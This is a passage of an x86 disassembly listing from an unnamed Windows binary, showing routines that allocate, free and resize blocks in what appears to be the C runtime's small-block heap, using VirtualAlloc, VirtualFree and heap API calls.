; ---------------------------------------------------------------------------


loc_418B05:				; CODE XREF: sub_418ADD+12j
		xor	eax, eax

locret_418B07:				; CODE XREF: sub_418ADD+21j
		retn
sub_418ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B08	proc near		; CODE XREF: sub_415E1D+16p
					; sub_4174BF+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_418BCE
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_418B60
		mov	[ebp+arg_4], edi


loc_418B60:				; CODE XREF: sub_418B08+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_418BB2
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_418B8E
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_418BB2
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_418BB2
; ---------------------------------------------------------------------------


loc_418B8E:				; CODE XREF: sub_418B08+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_418BB2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_418BB2:				; CODE XREF: sub_418B08+60j
					; sub_418B08+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_418BCE:				; CODE XREF: sub_418B08+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_418BDC
		push	3Fh
		pop	edi


loc_418BDC:				; CODE XREF: sub_418B08+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_418C8B
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_418C07
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_418C07:				; CODE XREF: sub_418B08+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_418C19
		mov	edi, edx


loc_418C19:				; CODE XREF: sub_418B08+10Dj
		cmp	ecx, edi
		jz	short loc_418C88
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_418C70
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_418C4C
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_418C70
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_418C70
; ---------------------------------------------------------------------------


loc_418C4C:				; CODE XREF: sub_418B08+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_418C70
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_418C70:				; CODE XREF: sub_418B08+11Ej
					; sub_418B08+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_418C88:				; CODE XREF: sub_418B08+113j
		mov	edx, [ebp+var_8]


loc_418C8B:				; CODE XREF: sub_418B08+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_418C9A
		cmp	[ebp+arg_4], edi
		jz	loc_418D23


loc_418C9A:				; CODE XREF: sub_418B08+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_418D23
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_418CF7
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418CE6
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_418CE6:				; CODE XREF: sub_418B08+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_418D20
; ---------------------------------------------------------------------------


loc_418CF7:				; CODE XREF: sub_418B08+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418D0D
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_418D0D:				; CODE XREF: sub_418B08+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_418D20:				; CODE XREF: sub_418B08+1EDj
		mov	ebx, [ebp+var_C]


loc_418D23:				; CODE XREF: sub_418B08+18Cj
					; sub_418B08+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_418E2E
		mov	eax, ds:dword_46AAD4
		test	eax, eax
		jz	loc_418E20
		mov	ecx, ds:dword_46AACC
		mov	edi, ds:dword_421178
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi	; VirtualFree
		mov	ecx, ds:dword_46AACC
		mov	eax, ds:dword_46AAD4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, ds:dword_46AAD4
		mov	ecx, ds:dword_46AACC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, ds:dword_46AAD4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, ds:dword_46AAD4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_418DAE
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, ds:dword_46AAD4


loc_418DAE:				; CODE XREF: sub_418B08+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_418E20
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi	; VirtualFree
		mov	eax, ds:dword_46AAD4
		push	dword ptr [eax+10h]
		push	0
		push	ds:dword_46AAE0
		call	ds:dword_421150	; RtlFreeHeap
		mov	eax, ds:dword_46AAD8
		mov	edx, ds:dword_46AADC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, ds:dword_46AAD4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_416470
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	ds:dword_46AAD8
		cmp	eax, ds:dword_46AAD4
		jbe	short loc_418E12
		sub	eax, 14h


loc_418E12:				; CODE XREF: sub_418B08+305j
		mov	ecx, ds:dword_46AADC
		mov	ds:dword_46AAD0, ecx
		jmp	short loc_418E23
; ---------------------------------------------------------------------------


loc_418E20:				; CODE XREF: sub_418B08+233j
					; sub_418B08+2AAj
		mov	eax, [ebp+arg_0]


loc_418E23:				; CODE XREF: sub_418B08+316j
		mov	ds:dword_46AAD4, eax
		mov	ds:dword_46AACC, esi


loc_418E2E:				; CODE XREF: sub_418B08+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418B08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E33	proc near		; CODE XREF: sub_415DE7+Ep
					; sub_4174BF+69p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, ds:dword_46AAD8
		mov	edx, ds:dword_46AADC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_418E73
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_418E83
; ---------------------------------------------------------------------------


loc_418E73:				; CODE XREF: sub_418E33+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_418E83:				; CODE XREF: sub_418E33+3Ej
		mov	eax, ds:dword_46AAD0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_418EAA


loc_418E91:				; CODE XREF: sub_418E33+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418EAA
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_418E91


loc_418EAA:				; CODE XREF: sub_418E33+5Cj
					; sub_418E33+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_418F28
		mov	ebx, edx


loc_418EB1:				; CODE XREF: sub_418E33+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_418ECD
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418ECB
		add	ebx, 14h
		jmp	short loc_418EB1
; ---------------------------------------------------------------------------


loc_418ECB:				; CODE XREF: sub_418E33+91j
		cmp	ebx, eax


loc_418ECD:				; CODE XREF: sub_418E33+83j
		jnz	short loc_418F28


loc_418ECF:				; CODE XREF: sub_418E33+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_418EE5
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_418EE2
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_418ECF
; ---------------------------------------------------------------------------


loc_418EE2:				; CODE XREF: sub_418E33+A5j
		cmp	ebx, [ebp+var_4]


loc_418EE5:				; CODE XREF: sub_418E33+9Fj
		jnz	short loc_418F0D
		mov	ebx, edx


loc_418EE9:				; CODE XREF: sub_418E33+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_418EFD
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_418EFB
		add	ebx, 14h
		jmp	short loc_418EE9
; ---------------------------------------------------------------------------


loc_418EFB:				; CODE XREF: sub_418E33+C1j
		cmp	ebx, eax


loc_418EFD:				; CODE XREF: sub_418E33+BBj
		jnz	short loc_418F0D
		call	sub_41913C
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_418F21


loc_418F0D:				; CODE XREF: sub_418E33:loc_418EE5j
					; sub_418E33:loc_418EFDj
		push	ebx
		call	sub_4191ED
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_418F28


loc_418F21:				; CODE XREF: sub_418E33+D8j
		xor	eax, eax
		jmp	loc_419137
; ---------------------------------------------------------------------------


loc_418F28:				; CODE XREF: sub_418E33+7Aj
					; sub_418E33:loc_418ECDj ...
		mov	ds:dword_46AAD0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_418F4F
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418F86


loc_418F4F:				; CODE XREF: sub_418E33+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_418F83


loc_418F6C:				; CODE XREF: sub_418E33+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_418F6C


loc_418F83:				; CODE XREF: sub_418E33+137j
		mov	edx, [ebp+var_4]


loc_418F86:				; CODE XREF: sub_418E33+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_418FAF
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_418FAF:				; CODE XREF: sub_418E33+16Dj
					; sub_418E33+183j
		test	ecx, ecx
		jl	short loc_418FB8
		shl	ecx, 1
		inc	edi
		jmp	short loc_418FAF
; ---------------------------------------------------------------------------


loc_418FB8:				; CODE XREF: sub_418E33+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_418FD5
		push	3Fh
		pop	esi


loc_418FD5:				; CODE XREF: sub_418E33+19Dj
		cmp	esi, edi
		jz	loc_4190EA
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_419046
		cmp	edi, 20h
		jge	short loc_419015
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_419043
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_419046
; ---------------------------------------------------------------------------


loc_419015:				; CODE XREF: sub_418E33+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_419043
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_419046
; ---------------------------------------------------------------------------


loc_419043:				; CODE XREF: sub_418E33+1D6j
					; sub_418E33+203j
		mov	ebx, [ebp+arg_0]


loc_419046:				; CODE XREF: sub_418E33+1B0j
					; sub_418E33+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_4190F6
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_4190E7
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_4190B8
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_4190A6
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_4190A6:				; CODE XREF: sub_418E33+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_4190E7
; ---------------------------------------------------------------------------


loc_4190B8:				; CODE XREF: sub_418E33+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_4190D1
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_4190D1:				; CODE XREF: sub_418E33+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_4190E7:				; CODE XREF: sub_418E33+24Ej
					; sub_418E33+283j
		mov	ecx, [ebp+var_8]


loc_4190EA:				; CODE XREF: sub_418E33+1A4j
		test	ecx, ecx
		jz	short loc_4190F9
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_4190F9
; ---------------------------------------------------------------------------


loc_4190F6:				; CODE XREF: sub_418E33+229j
		mov	ecx, [ebp+var_8]


loc_4190F9:				; CODE XREF: sub_418E33+2B9j
					; sub_418E33+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41912F
		cmp	ebx, ds:dword_46AAD4
		jnz	short loc_41912F
		mov	ecx, [ebp+var_4]
		cmp	ecx, ds:dword_46AACC
		jnz	short loc_41912F
		and	ds:dword_46AAD4, 0


loc_41912F:				; CODE XREF: sub_418E33+2E0j
					; sub_418E33+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_419137:				; CODE XREF: sub_418E33+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418E33	endp


; =============== S U B	R O U T	I N E =======================================



sub_41913C	proc near		; CODE XREF: sub_418E33+CCp
		mov	eax, ds:dword_46AAD8
		mov	ecx, ds:dword_46AAC8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41917F
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	ds:dword_46AADC
		push	edi
		push	ds:dword_46AAE0
		call	ds:dword_421160	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_4191CF
		add	ds:dword_46AAC8, 10h
		mov	ds:dword_46AADC, eax
		mov	eax, ds:dword_46AAD8


loc_41917F:				; CODE XREF: sub_41913C+11j
		mov	ecx, ds:dword_46AADC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	ds:dword_46AAE0
		lea	esi, [ecx+eax*4]
		call	ds:dword_42114C	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_4191CF
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_42117C	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_4191D3
		push	dword ptr [esi+10h]
		push	edi
		push	ds:dword_46AAE0
		call	ds:dword_421150	; RtlFreeHeap


loc_4191CF:				; CODE XREF: sub_41913C+30j
					; sub_41913C+67j
		xor	eax, eax
		jmp	short loc_4191EA
; ---------------------------------------------------------------------------


loc_4191D3:				; CODE XREF: sub_41913C+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	ds:dword_46AAD8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_4191EA:				; CODE XREF: sub_41913C+95j
		pop	edi
		pop	esi
		retn
sub_41913C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4191ED	proc near		; CODE XREF: sub_418E33+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_4191FF:				; CODE XREF: sub_4191ED+19j
		test	eax, eax
		jl	short loc_419208
		shl	eax, 1
		inc	ebx
		jmp	short loc_4191FF
; ---------------------------------------------------------------------------


loc_419208:				; CODE XREF: sub_4191ED+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41921D:				; CODE XREF: sub_4191ED+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41921D
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	ds:dword_42117C	; VirtualAlloc
		test	eax, eax
		jnz	short loc_419250
		or	eax, 0FFFFFFFFh
		jmp	loc_4192E3
; ---------------------------------------------------------------------------


loc_419250:				; CODE XREF: sub_4191ED+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_419296
		lea	eax, [edi+10h]


loc_41925D:				; CODE XREF: sub_4191ED+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41925D


loc_419296:				; CODE XREF: sub_4191ED+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_4192D3
		or	[eax+4], edi


loc_4192D3:				; CODE XREF: sub_4191ED+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_4192E3:				; CODE XREF: sub_4191ED+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4191ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192E8	proc near		; CODE XREF: sub_4174BF+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_419496
		test	bl, 1
		jnz	loc_41948F
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41948F
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41935F
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41935F:				; CODE XREF: sub_4192E8+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_4193AF
		cmp	ecx, 20h
		jnb	short loc_41938B
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4193AF
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4193AF
; ---------------------------------------------------------------------------


loc_41938B:				; CODE XREF: sub_4192E8+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4193AF
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_4193AF:				; CODE XREF: sub_4192E8+7Dj
					; sub_4192E8+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41947D
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_4193E9
		push	3Fh
		pop	edi


loc_4193E9:				; CODE XREF: sub_4192E8+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41946B
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_419442
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_419435
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_419435:				; CODE XREF: sub_4192E8+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_419467
; ---------------------------------------------------------------------------


loc_419442:				; CODE XREF: sub_4192E8+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_419458
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_419458:				; CODE XREF: sub_4192E8+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_419467:				; CODE XREF: sub_4192E8+158j
		shr	edx, cl
		or	[eax], edx


loc_41946B:				; CODE XREF: sub_4192E8+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_419480
; ---------------------------------------------------------------------------


loc_41947D:				; CODE XREF: sub_4192E8+E5j
		mov	edx, [ebp+arg_4]


loc_419480:				; CODE XREF: sub_4192E8+193j
		lea	eax, [esi+1]
